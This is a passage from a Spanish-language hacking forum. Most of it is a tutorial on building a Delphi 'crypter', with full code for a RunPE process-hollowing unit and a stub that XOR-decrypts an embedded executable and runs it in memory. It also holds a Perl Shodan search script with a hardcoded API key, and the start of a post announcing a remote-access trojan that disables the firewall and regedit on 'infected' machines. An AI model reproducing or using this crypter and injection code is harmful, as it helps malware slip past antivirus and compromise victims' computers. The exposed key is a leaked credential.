    AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
    // "ruta"
    Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
    // "abriendo_archivo"
    try
      begin
        WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
        // Escribimos los datos
        // de las variables "delimitador1,"texto","delimitador2"
      end
    finally
      begin
        CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
        // "abriendo_archivo"
      end;
      Result := True; // Devolvemos "True" como resultado de la funcion
    end;
  end
  else
  begin
    Result := False; // De lo contrario devolvemos "False" como resultado de la
    // funcion
  end;

end;

end.

// The End ?


Y para terminar la Unit guardenla con el nombre de "tools".

Les deberia quedar algo asi :



Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :

Código: delphi

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,tools;


Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :





Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :



Una vez creado ponemos el siguiente codigo :

Código: delphi

{ uExecFromMem

  Author: steve10120
  Description: Run an executable from another's memory.
  Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  Reference: http://www.security.org.sg/code/loadexe.html
  Release Date: 26th August 2009
  Website: http://ic0de.org
  History: First try

  Additions by testest 15th July 2010:
    - Parameter support
    - Win7 x64 support
}

unit uExecFromMem;

interface

uses Windows;

function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;

implementation

function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';

type
  PImageBaseRelocation = ^TImageBaseRelocation;
  TImageBaseRelocation = packed record
     VirtualAddress: DWORD;
     SizeOfBlock: DWORD;
  end;

procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
  l_i: Cardinal;
  l_codebase: Pointer;
  l_relocation: PImageBaseRelocation;
  l_dest: Pointer;
  l_relInfo: ^Word;
  l_patchAddrHL: ^DWord;
  l_type, l_offset: integer;
begin
  l_codebase := f_module;
  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  begin
    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
    while l_relocation.VirtualAddress > 0 do
    begin
      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
      begin
        l_type := (l_relInfo^ shr 12);
        l_offset := l_relInfo^ and $FFF;
        if l_type = 3 then
        begin
          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
        end;
        inc(l_relInfo);
      end;
      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
    end;
  end;
end;

function AlignImage(pImage:Pointer):Pointer;
var
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  ISH:          PImageSectionHeader;
  i:            WORD;
begin
  IDH := pImage;
  INH := Pointer(Integer(pImage) + IDH^._lfanew);
  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  begin
    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  end;
end;

function Get4ByteAlignedContext(var Base: PContext): PContext;
begin
  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  Result := Base;
  if Base <> nil then
    while ((DWORD(Result) mod 4) <> 0) do
      Result := Pointer(DWORD(Result) + 1);
end;

function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
var
  PI:           TProcessInformation;
  SI:           TStartupInfo;
  CT:           PContext;
  CTBase:       PContext;
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  dwImageBase:  DWORD;
  pModule:      Pointer;
  dwNull:       DWORD;
begin
  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;

  Result := 0;
  IDH := pFile;
  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  begin
    INH := Pointer(Integer(pFile) + IDH^._lfanew);
    if INH^.Signature = IMAGE_NT_SIGNATURE then
    begin
      FillChar(SI, SizeOf(TStartupInfo), #0);
      FillChar(PI, SizeOf(TProcessInformation), #0);
      SI.cb := SizeOf(TStartupInfo);
      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
      begin
        CT := Get4ByteAlignedContext(CTBase);
        if CT <> nil then
        begin
          CT.ContextFlags := CONTEXT_FULL;
          if GetThreadContext(PI.hThread, CT^) then
          begin
            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
            if dwImageBase = INH^.OptionalHeader.ImageBase then
            begin
              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
              else
                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            end
            else
              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if pModule <> nil then
            begin
              pFile := AlignImage(pFile);
              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
              begin
                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
                INH^.OptionalHeader.ImageBase := DWORD(pModule);
                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
              end;
              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
              SetThreadContext(PI.hThread, CT^);
              ResumeThread(PI.hThread);
              Result := PI.hThread;
            end;
          end;
          VirtualFree(CTBase, 0, MEM_RELEASE);
        end;
        if Result = 0 then
          TerminateProcess(PI.hProcess, 0);
      end;
    end;
  end;
end;

end.


Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :



Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código: delphi

uses
  SysUtils, StrUtils, Windows, uExecFromMem, tools;


Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.

El codigo :

Código: delphi

type
  otro_array = array of string;
  // Declaramos el tipo "otro_array" como array of string


Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.

El codigo :

Código: delphi

procedure regex2(texto: string; separador: string; var resultado: otro_array);
// Thanks to ecfisa for the help
var
  numero1: integer; // Declaramos la variable "numero1" como integer
  numero2: integer; // Declaramos la variable "numero2" como integer
begin
  texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  // la variable "texto"
  numero1 := 1; // Establecemos la variable "numero1" como "1"
  while numero1 <= numero2 do
  // Mientras "numero1" sea menor o igual a "numero2" ...
  begin
    SetLength(resultado, Length(resultado) + 1);
    // Establecemos la longitud de resultado
    // a la longitud de la variable "resultado" mas "1"
    resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
    // Establecemos la variable "resultado" como la copia de las variables "texto",
    // "numero1" y la resta de las variables "numero2" y "numero1"
    numero1 := numero2 + Length(separador);
    // Establecemos la variable "numero1" como
    // la suma de la variable "numero2" y la longitud de ña variable "separador"
    numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
    // "separador" en el variable "texto"
  end;
end;


Ahora agregamos el siguiente codigo entre el begin principal.

El codigo :

Código: delphi

var
  todo: string; // Declaramos la variable "todo" como string
  codigo: string; // Declaramos la variable "codigo" como string
  key: string; // Declaramos la variable "key" como string
  datos: otro_array; // Declaramos la variable "datos" como otro_array

begin

  todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"

  regex2(todo, '-barra-', datos);
  // Separamos los delimitadores que estan separados
  // por "-barra-" en la variable "todo"

  key := datos[2];
  // Establecemos como "key" la segunda posicion del array "datos"
  codigo := datos[1];
  // Establecemos como "codigo" la primera posicion del array
  // "datos"

  codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  // guardamos en la variable "codigo"

  ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  // Ejecutamos el codig en memoria
  // usando la funcion "ExecuteFromMem"

end.


Una imagen de como deberia quedarles el codigo :



Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para encriptar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa encriptado , simplemente lo abrimos y veremos el builder encriptado.

Unas imagenes :









Con ven el Crypter funciona correctamente.

0x05 : Creditos

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Eso seria todo.

--========--
  The End ?
--========--

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Version en VideoTutorial :

#107
Perl / [Perl] Shodan Tool 0.6
Abril 10, 2015, 11:31:25 AM
Un simple script para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

    Es necesario que tengan una API Key suya para poder usar la API de Shodan.

    Un video con ejemplos de uso :



    El codigo :

    Código: perl

    #!usr/bin/perl
    #Shodan Tool 0.6
    #(C) Doddy Hackman 2015
    #Based on : https://developer.shodan.io/api
    #ppm install http://www.eekboek.nl/dl/ppms/Crypt-SSLeay.ppd
    #ppm install http://www.bribes.org/perl/ppm/JSON.ppd

    use LWP::UserAgent;
    use JSON;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;
    use IO::Socket;

    my $nave = LWP::UserAgent->new( ssl_opts => { verify_hostname => 1 } );
    $nave->agent(
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
    );
    $nave->timeout(5);

    my $api_key = "LY10TuYViggY3GXRzLOUxdp6Kk3Lu9sa";

    GetOptions(
        "ip=s"           => \$ip,
        "count=s"        => \$count,
        "search=s"       => \$search,
        "query"          => \$query,
        "query_search=s" => \$query_search,
        "query_tags"     => \$query_tags,
        "services"       => \$services,
        "resolve=s"      => \$resolve,
        "reverse=s"      => \$reverse,
        "myip"           => \$myip,
        "api_info"       => \$api_info
    );

    head();

    if ( $ip ne "" ) {
        if ( $ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ ) {
            print by_ip($ip);
        }
        else {
            my $get = gethostbyname($ip);
            my $ip  = inet_ntoa($get);
            by_ip($ip);
        }
    }
    elsif ( $count ne "" ) {
        by_count($count);
    }
    elsif ( $search ne "" ) {
        by_search($search);
    }
    elsif ( $query ne "" ) {
        by_query();
    }
    elsif ($query_search) {
        by_query_search($query_search);
    }
    elsif ($query_tags) {

        by_query_tags($query_tags);

    }
    elsif ( $services ne "" ) {
        list_services();
    }
    elsif ( $resolve ne "" ) {
        resolve($resolve);
    }
    elsif ( $reverse ne "" ) {
        reverse_now($reverse);
    }
    elsif ( $myip ne "" ) {
        my_ip();
    }
    elsif ( $api_info ne "" ) {
        api_info();
    }
    else {
        sintax();
    }

    copyright();

    # Functions

    sub by_query_tags {

        printear_titulo("\n[+] Listening the most popular tags  ...\n\n");

        my $code =
          toma( "https://api.shodan.io/shodan/query/tags?key=" . $api_key );

        $resultado = JSON->new->decode($code);

        my $total = $resultado->{'total'};

        if ( $total ne "" ) {
            printear("[+] Total : ");
            print $total. "\n\n";
        }
        else {
            printear("[-] WTF !");
        }

        my $i = 0;

        my @encontrados = @{ $resultado->{'matches'} };
        foreach my $encontrado (@encontrados) {
            my $value = $encontrado->{"value"};
            my $count = $encontrado->{"count"};

            $i++;
            print "-------------------------------------\n\n";
            if ( $value ne "" ) {
                printear("[+] Value : ");
                print $value. "\n";
            }

            if ( $count ne "" ) {
                printear("[+] Count : ");
                print $count. "\n";
            }

            print "\n-------------------------------------\n";

            if ( $i % 5 == 0 ) {
                printear("\n[+] Press enter to show more\n");
                <STDIN>;
            }

        }

    }

    sub by_query_search {

        my $query = $_[0];

        printear_titulo(
            "\n[+] Searching in the directory of saved search queries ...\n\n");

        my $code =
          toma( "https://api.shodan.io/shodan/query/search?key="
              . $api_key
              . "&query="
              . $query );

        $resultado = JSON->new->decode($code);

        my $total = $resultado->{'total'};

        if ( $total ne "" ) {
            printear("[+] Total : ");
            print $total. "\n\n";
        }
        else {
            printear("[-] WTF !");
        }

        my $i = 0;

        my @encontrados = @{ $resultado->{'matches'} };
        foreach my $encontrado (@encontrados) {
            $i++;
            print "-------------------------------------\n\n";
            my $votes       = $encontrado->{"votes"};
            my $description = $encontrado->{"description"};
            my $title       = $encontrados->{"title"};
            my $timestamp   = $encontrados->{"timestamp"};
            my $query       = $encontrados->{"query"};

            if ( $votes ne "" ) {
                printear("[+] Votes : ");
                print $votes. "\n";
            }

            if ( $description ne "" ) {
                printear("[+] Description : ");
                print $description. "\n\n";
            }

            if ( $title ne "" ) {
                printear("[+] Title : ");
                print $title. "\n";
            }

            if ( $timestamp ne "" ) {
                printear("[+] Timestamp : ");
                print $timestamp. "\n";
            }

            if ( $query ne "" ) {
                printear("[+] Query : ");
                print $query. "\n";
            }

            printear("[+] Tags : ");
            my @tags = @{ $encontrado->{'tags'} };
            foreach my $tag (@tags) {
                print $tag. "\t";
            }
            print "\n";

            print "\n-------------------------------------\n";

            if ( $i % 5 == 0 ) {
                printear("\n[+] Press enter to show more\n");
                <STDIN>;
            }

        }

    }

    sub by_query {

        printear_titulo("\n[+] Listening the saved search queries ...\n\n");

        my $code = toma( "https://api.shodan.io/shodan/query?key=" . $api_key );
        $resultado = JSON->new->decode($code);

        my $total = $resultado->{'total'};

        if ( $total ne "" ) {
            printear("[+] Total : ");
            print $total. "\n\n";
        }
        else {
            printear("[-] WTF !");
        }

        my $i = 0;

        my @encontrados = @{ $resultado->{'matches'} };
        foreach my $encontrado (@encontrados) {
            $i++;
            print "-------------------------------------\n\n";
            my $votes       = $encontrado->{"votes"};
            my $description = $encontrado->{"description"};
            my $title       = $encontrados->{"title"};
            my $timestamp   = $encontrados->{"timestamp"};
            my $query       = $encontrados->{"query"};

            if ( $votes ne "" ) {
                printear("[+] Votes : ");
                print $votes. "\n";
            }

            if ( $description ne "" ) {
                printear("[+] Description : ");
                print $description. "\n\n";
            }

            if ( $title ne "" ) {
                printear("[+] Title : ");
                print $title. "\n";
            }

            if ( $timestamp ne "" ) {
                printear("[+] Timestamp : ");
                print $timestamp. "\n";
            }

            if ( $query ne "" ) {
                printear("[+] Query : ");
                print $query. "\n";
            }

            printear("[+] Tags : ");
            my @tags = @{ $encontrado->{'tags'} };
            foreach my $tag (@tags) {
                print $tag. "\t";
            }
            print "\n";

            print "\n-------------------------------------\n";

            if ( $i % 5 == 0 ) {
                printear("\n[+] Press enter to show more\n");
                <STDIN>;
            }

        }

    }

    sub list_services {

        printear_titulo("\n[+] Listening all services that Shodan crawls ...\n\n");

        my $code = toma( "https://api.shodan.io/shodan/services?key=" . $api_key );
        if ( $code ne "" ) {
            my $i = 0;
            while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
                $i++;
                my $port = $1;
                my $name = $2;
                printear("[+] Port : ");
                print $port. "\n";
                printear("[+] Name : ");
                print $name. "\n\n";

                if ( $i % 20 == 0 ) {
                    printear("\n[+] Press enter to show more\n");
                    <STDIN>;
                }

            }
        }
        else {
            print "[-] WTF !" . "\n";
        }

    }

    sub resolve {

        my $hostnames = $_[0];

        printear_titulo("\n[+] Working in DNS Lookup ...\n\n");

        my $code =
          toma( "https://api.shodan.io/dns/resolve?hostnames="
              . $hostnames . "&key="
              . $api_key );
        if ( $code ne "" ) {
            while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
                my $host = $1;
                my $ip   = $2;
                printear("[+] Hostname : ");
                print $host. "\n";
                printear("[+] IP : ");
                print $ip. "\n";
            }
        }
        else {
            printear( "[-] WTF !" . "\n" );
        }

    }

    sub reverse_now {

        $ips = $_[0];

        printear_titulo("\n[+] Working in Reverse DNS Lookup ...\n\n");

        my $code = toma(
            "https://api.shodan.io/dns/reverse?ips=" . $ips . "&key=" . $api_key );
        if ( $code ne "" ) {
            while ( $code =~ /"(.*?)": \["(.*?)"\]/migs ) {
                my $ip   = $1;
                my $host = $2;
                printear("[+] IP : ");
                print $ip. "\n";
                printear("[+] Hostname : ");
                print $host. "\n";
            }
        }
        else {
            printear( "[-] WTF !" . "\n" );
        }
    }

    sub my_ip {
        printear_titulo("\n[+] Getting your IP ...\n\n");
        my $code = toma( "https://api.shodan.io/tools/myip?key=" . $api_key );
        if ( $code =~ /"(.*)"/ ) {
            my $ip = $1;
            printear("[+] IP : ");
            print $ip. "\n";
        }
        else {
            printear( "[-] WTF !" . "\n" );
        }
    }

    sub api_info {

        printear_titulo("\n[+] Getting your API Info ...\n\n");

        my $code = toma( "https://api.shodan.io/api-info?key=" . $api_key );

        $resultado = JSON->new->decode($code);
        my $unlock_left = $resultado->{"unlocked_left"};
        my $telnet      = $resultado->{"telnet"};
        my $plan        = $resultado->{"plan"};
        my $http        = $resultado->{"https"};
        my $unlocked    = $resultado->{"unlocked"};

        if ( $unlock_left ne "" ) {
            printear("[+] Unlocked left : ");
            print $unlock_left. "\n";
        }
        if ( $telnet ne "" ) {
            printear("[+] Telnet : ");
            print $telnet. "\n";
        }
        if ( $plan ne "" ) {
            printear("[+] Plan : ");
            print $plan. "\n";
        }
        if ( $http ne "" ) {
            printear("[+] HTTPS : ");
            print $http. "\n";
        }
        if ( $unlocked ne "" ) {
            printear("[+] Unlocked : ");
            print $unlocked. "\n";
        }

    }

    sub by_count {

        my $query  = $_[0];
        my $fecets = "";

        printear_titulo("\n[+] Searching in Shodan without Results ...\n\n");

        my $code =
          toma( "https://api.shodan.io/shodan/host/count?key="
              . $api_key
              . "&query="
              . $query
              . "&facets="
              . $facets );

        $resultado = JSON->new->decode($code);
        my $total = $resultado->{"total"};
        if ( $total ne "" ) {
            printear("[+] Total : ");
            print $total. "\n";
        }
        else {
            printear( "[-] WTF !" . "\n" );
        }

    }

    sub by_ip {

        my $target = $_[0];

        printear("\n[+] Target : ");
        print $target. "\n";

        printear_titulo("\n[+] Getting Host Information ...\n\n");

        my $code = toma(
            "https://api.shodan.io/shodan/host/" . $target . "?key=" . $api_key );
        $resultado = JSON->new->decode($code);

        my $ip           = $resultado->{'ip'};
        my $country_name = $resultado->{'country_name'};
        my $country_code = $resultado->{'country_code'};
        my $region_name  = $resultado->{'region_name'};
        my $postal_code  = $resultado->{'postal_code'};

        if ( $ip ne "" ) {
            printear("[+] IP : ");
            print $ip. "\n";
        }
        if ( $country_name ne "" ) {
            printear("[+] Country Name : ");
            print $country_name. "\n";
        }
        if ( $country_code ne "" ) {
            printear("[+] Country Code : ");
            print $country_code. "\n";
        }
        if ( $region_name ne "" ) {
            printear("[+] Area Code : ");
            print $region_name. "\n";
        }
        if ( $postal_code ne "" ) {
            printear("[+] Postal Code : ");
            print $postal_code. "\n";
        }
        printear("[+] Hostnames : ");
        my @hostnames = @{ $resultado->{'hostnames'} };
        foreach my $host (@hostnames) {
            print $host. "\t";
        }
        print "\n";
        printear_titulo("\n[+] Getting Data ...\n\n");
        my $i           = 0;
        my @encontrados = @{ $resultado->{'data'} };
        foreach my $encontrado (@encontrados) {
            $i++;
            print "-------------------------------------\n\n";
            my $ip           = $encontrado->{"ip_str"};
            my $country      = $encontrado->{"location"}{"country_name"};
            my $product      = $encontrado->{"product"};
            my $version      = $encontrado->{"version"};
            my $data         = $encontrado->{"data"};
            my $cpe          = $encontrado->{"cpe"};
            my $time         = $encontrado->{"timestamp"};
            my $last_updated = $encontrado->{"last_update"};
            my $port         = $encontrado->{"port"};
            my $os           = $encontrado->{"os"};
            my $isp          = $encontrado->{"isp"};
            my $ans          = $encontrado->{"ans"};
            my $banner       = $encontrado->{"banner"};

            if ( $ip ne "" ) {
                printear("[+] IP : ");
                print $ip. "\n";
            }
            if ( $port ne "" ) {
                printear("[+] Port : ");
                print $port. "\n";
            }
            printear("[+] Hostnames : ");
            my @hostnames2 = @{ $encontrado->{'hostnames'} };
            foreach my $host2 (@hostnames2) {
                print $host2. "\t";
            }
            print "\n";
            if ( $country ne "" ) {
                printear("[+] Country : ");
                print $country. "\n";
            }
            if ( $product ne "" ) {
                printear("[+] Product : ");
                print $product. "\n";
            }
            if ( $version ne "" ) {
                printear("[+] Version : ");
                print $version. "\n";
            }
            if ( $data ne "" ) {
                printear("[+] Data : ");
                print "\n\n" . $data . "\n";
            }
            if ( $time ne "" ) {
                printear("[+] Time : ");
                print $time. "\n";
            }
            if ( $last_updated ne "" ) {
                printear("[+] Last Updated : ");
                print $last_updated. "\n";
            }
            if ( $cpe ne "" ) {
                printear("[+] CPE : ");
                print $cpe. "\n";
            }
            if ( $os ne "" ) {
                printear("[+] OS : ");
                print $os. "\n";
            }
            if ( $isp ne "" ) {
                printear("[+] ISP : ");
                print $isp. "\n";
            }
            if ( $asn ne "" ) {
                printear("[+] ASN : ");
                print $ans. "\n";
            }
            if ( $banner ne "" ) {
                printear("[+] Banner : ");
                print $banner. "\n";
            }
            print "\n-------------------------------------\n";

            if ( $i % 5 == 0 ) {
                printear("\n[+] Press enter to show more\n");
                <STDIN>;
            }

        }

    }

    sub by_search {

        my $target = $_[0];

        printear("[+] Target : ");
        print $target. "\n";

        printear_titulo("\n[+] Searching in Shodan ...\n\n");

        my $code =
          toma( "https://api.shodan.io/shodan/host/search?key="
              . $api_key
              . "&query="
              . $target
              . "&facets=" );

        $resultado = JSON->new->decode($code);

        my $total = $resultado->{'total'};

        if ( $total ne "" ) {
            printear("[+] Total : ");
            print $total. "\n";
        }
        else {
            printear("[-] WTF !");
        }

        my $ip           = $resultado->{'ip'};
        my $country_name = $resultado->{'country_name'};
        my $country_code = $resultado->{'country_code'};
        my $region_name  = $resultado->{'region_name'};
        my $postal_code  = $resultado->{'postal_code'};

        if ( $ip ne "" ) {
            printear("[+] IP : ");
            print $ip. "\n";
        }
        if ( $country_name ne "" ) {
            printear("[+] Country Name : ");
            print $country_name. "\n";
        }
        if ( $country_code ne "" ) {
            printear("[+] Country Code : ");
            print $country_code. "\n";
        }
        if ( $region_name ne "" ) {
            printear("[+] Area Code : ");
            print $region_name. "\n";
        }
        if ( $postal_code ne "" ) {
            printear("[+] Postal Code : ");
            print $postal_code. "\n";
        }

        if ( $resultado->{'hostnames'}[0] ne "" ) {
            printear("[+] Hostnames : ");
            my @hostnames = @{ $resultado->{'hostnames'} };
            foreach my $host (@hostnames) {
                print $host. "\t";
            }
            print "\n";
        }

        printear_titulo("\n[+] Getting Data ...\n\n");

        my $i = 0;

        my @encontrados = @{ $resultado->{'matches'} };
        foreach my $encontrado (@encontrados) {
            $i++;
            print "-------------------------------------\n\n";
            my $ip           = $encontrado->{"ip_str"};
            my $country      = $encontrado->{"location"}{"country_name"};
            my $product      = $encontrado->{"product"};
            my $version      = $encontrado->{"version"};
            my $data         = $encontrado->{"data"};
            my $cpe          = $encontrado->{"cpe"};
            my $time         = $encontrado->{"timestamp"};
            my $last_updated = $encontrado->{"last_update"};
            my $port         = $encontrado->{"port"};
            my $os           = $encontrado->{"os"};
            my $isp          = $encontrado->{"isp"};
            my $ans          = $encontrado->{"ans"};
            my $banner       = $encontrado->{"banner"};

            if ( $ip ne "" ) {
                printear("[+] IP : ");
                print $ip. "\n";
            }
            if ( $port ne "" ) {
                printear("[+] Port : ");
                print $port. "\n";
            }
            printear("[+] Hostnames : ");
            my @hostnames2 = @{ $encontrado->{'hostnames'} };
            foreach my $host2 (@hostnames2) {
                print $host2. "\t";
            }
            print "\n";
            if ( $country ne "" ) {
                printear("[+] Country : ");
                print $country. "\n";
            }
            if ( $product ne "" ) {
                printear("[+] Product : ");
                print $product. "\n";
            }
            if ( $version ne "" ) {
                printear("[+] Version : ");
                print $version. "\n";
            }
            if ( $data ne "" ) {
                printear("[+] Data : ");
                print "\n\n" . $data . "\n";
            }
            if ( $time ne "" ) {
                printear("[+] Time : ");
                print $time. "\n";
            }
            if ( $last_updated ne "" ) {
                printear("[+] Last Updated : ");
                print $last_updated. "\n";
            }
            if ( $cpe ne "" ) {
                printear("[+] CPE : ");
                print $cpe. "\n";
            }
            if ( $os ne "" ) {
                printear("[+] OS : ");
                print $os. "\n";
            }
            if ( $isp ne "" ) {
                printear("[+] ISP : ");
                print $isp. "\n";
            }
            if ( $asn ne "" ) {
                printear("[+] ASN : ");
                print $ans. "\n";
            }
            if ( $banner ne "" ) {
                printear("[+] Banner : ");
                print $banner. "\n";
            }
            print "\n-------------------------------------\n";

            if ( $i % 5 == 0 ) {
                printear("\n[+] Press enter to show more\n");
                <STDIN>;
            }

        }

    }

    sub printear {
        cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
        cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
        cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub toma {
        return $nave->get( $_[0] )->content;
    }

    sub sintax {
        printear("\n[+] Sintax : ");
        print "perl $0 <option> <value>\n";
        printear("\n[+] Options : \n\n");
        print "-ip <ip> : Host Information\n";
        print "-count <query> : Search Shodan without Results\n";
        print "-search <query> : Search Shodan\n";
        print "-query : List the saved search queries\n";
        print
          "-query_search <query> : Search the directory of saved search queries\n";
        print "-query_tags : List the most popular tags\n";
        print "-services : List all services that Shodan crawls\n";
        print "-resolve <host> : DNS Lookup\n";
        print "-reverse <ip> : Reverse DNS Lookup\n";
        print "-myip : My IP Address\n";
        print "-api_info : API Plan Information\n";
        printear("\n[+] Example : ");
        print "perl shodan.pl -search petardas\n";
        copyright();
    }

    sub head {
        printear_logo("\n-- == Shodan Tool 0.6 == --\n\n");
    }

    sub copyright {
        printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
        exit(1);
    }

    # The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#108
Delphi / [Delphi] Shodan Tool 0.6
Abril 03, 2015, 11:52:02 AM
Un programa en Delphi para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

    Es necesario que tengan una API Key suya para poder usar este programa.

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#109
Delphi / [Delphi] DH Rat 1.0
Marzo 24, 2015, 12:56:11 PM
Hoy les traigo la nueva version de mi DH Rat en Delphi , esta version contiene las siguientes funciones :

  • Listar archivos en un directorio con la posibilidad de leerlos o borrarlos
  • Listar y cerrar procesos
  • Ejecutar comandos
  • Activar y desactivar Firewall
  • Activar y desactivar Regedit
  • Abrir y cerrar lectora de CD
  • Ocultar y mostrar barra de tareas
  • Ocultar y mostrar iconos del escritorio
  • Mandar mensajes al infectado
  • Enviar pulsaciones de teclado
  • Abrir Word y hacer que escriba solo
  • Volver loco al mouse
  • Volver loca la hora
